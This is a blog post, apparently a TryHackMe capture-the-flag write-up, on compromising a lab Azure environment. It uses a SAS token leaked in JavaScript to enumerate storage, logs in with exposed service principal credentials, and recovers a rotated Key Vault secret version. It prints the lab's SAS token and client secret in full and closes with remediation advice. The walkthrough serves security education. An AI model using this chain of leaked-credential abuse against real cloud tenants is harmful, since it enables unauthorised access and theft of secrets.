DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : CryptoCabana Writeup

Overview

CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:

  1. A low-privilege Azure user with only Reader on one resource group
  2. A publicly exposed Storage Account SAS token leaked in client-side JavaScript
  3. Service Principal credentials sitting unprotected in that same storage account
  4. A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable

None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.

Step 1: Confirm the Starting Foothold

The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.

az account show
az role assignment list --assignee usr-08044275@thmctf.onmicrosoft.com --all --output table
Enter fullscreen mode Exit fullscreen mode
Principal                            Role    Scope
-----------------------------------  ------  -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com  Reader  /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only
Enter fullscreen mode Exit fullscreen mode

Reader on a single resource group called rg-cloudshell-only. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.

Step 2: Find the Public Static Website

The resource group name (cryptocabana-rg) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once $web is enabled - no auth required to view them.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/
Enter fullscreen mode Exit fullscreen mode

This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads app.js, so that's the next thing to pull.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
Enter fullscreen mode Exit fullscreen mode
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
Enter fullscreen mode Exit fullscreen mode

This is the actual vulnerability. A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:

  • ss=b - scoped to Blob service
  • srt=sco - applies to service, container, and object level
  • sp=rl - read + list permissions
  • se=2099-12-31 - expires in the year 2099 (i.e., effectively never)

Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser PUT a backup blob.

Step 3: Enumerate the Storage Account with the Leaked SAS

With sp=rl we can list every container, not just backups:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
Enter fullscreen mode Exit fullscreen mode

Three containers come back: $web (the site itself), backups (empty - no one's fallen for the phishing yet), and vault - not referenced anywhere in the site's own code. That's worth listing:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
Enter fullscreen mode Exit fullscreen mode
<Blobs>
  <Blob><Name>backup-service-account.json</Name>...</Blob>
  <Blob><Name>seed_phrase.txt</Name>...</Blob>
</Blobs>
Enter fullscreen mode Exit fullscreen mode

Both are worth pulling. seed_phrase.txt is in-universe flavor (a decoy "wallet" secret). backup-service-account.json is the real prize:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
Enter fullscreen mode Exit fullscreen mode
{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}
Enter fullscreen mode Exit fullscreen mode

Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.

Step 4: Authenticate as the Service Principal

az login --service-principal \
  --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  --password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
Enter fullscreen mode Exit fullscreen mode

This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.

Step 5: Hit a Wall on Key Vault RBAC

The obvious next move is grabbing master-key straight away:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv
Enter fullscreen mode Exit fullscreen mode
(Forbidden) Caller is not authorized to perform action on resource.
Action: 'Microsoft.KeyVault/vaults/secrets/getSecret/action'
Inner error: { "code": "ForbiddenByRbac" }
Enter fullscreen mode Exit fullscreen mode

The vault uses RBAC authorization mode, not the older vault access-policy model, and this SP has no role assignment on it - az role assignment list --assignee dbcf2923-... comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not master-key.

Rather than fight the RBAC wall on master-key, try what the SP can read:

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table
Enter fullscreen mode Exit fullscreen mode
Name         Expires
-----------  -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key   2020-01-01T00:00:00+00:00
Enter fullscreen mode Exit fullscreen mode

master-key is expired anyway - a dead end even if it were readable. The key-shard-* naming is the real hint: the flag is likely split across three secrets meant to be concatenated.

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
# [REDACTED - first flag fragment]

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
# [REDACTED - last flag fragment]
Enter fullscreen mode Exit fullscreen mode

Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. key-shard-2 is where it gets interesting:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query value -o tsv
Enter fullscreen mode Exit fullscreen mode
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
Enter fullscreen mode Exit fullscreen mode

Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to secret versioning.

Step 6: Recover the Rotated Secret Version

Key Vault never overwrites a secret in place - every set-secret call creates a new version, and old versions stay readable (as long as they haven't been purged) to anyone with get permission on the secret name. Rotating a secret doesn't erase its history.

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json
Enter fullscreen mode Exit fullscreen mode
[
  {
    "attributes": { "created": "2026-07-28T01:05:05+00:00", ... },
    "id": ".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"
  },
  {
    "attributes": { "created": "2026-07-28T01:05:07+00:00", ... },
    "id": ".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"
  }
]
Enter fullscreen mode Exit fullscreen mode

Two versions, two seconds apart - the original, then the rotation. The current key-shard-2 (the one returned by default when you don't specify a version) is the one holding the note. The older version, 3d6492d2c6f74123bc754a9ded22b2a0, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:

az keyvault secret show \
  --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0" \
  --query value -o tsv
Enter fullscreen mode Exit fullscreen mode
[REDACTED - middle flag fragment]
Enter fullscreen mode Exit fullscreen mode

Step 7: Assemble the Flag

key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}
Enter fullscreen mode Exit fullscreen mode

THM{█████████████████████████}

Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.

Root Cause Summary

Step Misconfiguration Impact
SAS in app.js Long-lived, account-wide read+list SAS token hardcoded in public JS Anyone visiting the site can enumerate and read every container/blob
vault container Sensitive files stored in a container reachable by an over-scoped SAS SP credentials exposed to anyone with the SAS
Key Vault RBAC SP granted read on specific secrets but not scoped tightly (or old versions left unpurged) Rotated secret's pre-leak value still fully recoverable
master-key expiry Secret expired instead of being removed/rotated with purge Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights

Remediation Notes

  • Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.
  • SAS tokens should carry the minimum permission set and a realistic expiry - se=2099-12-31 defeats the purpose of using a SAS at all.
  • Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - purge old versions (az keyvault secret purge, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value.
  • Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit az role assignment list for service principals that have outlived their original purpose.

Top comments (0)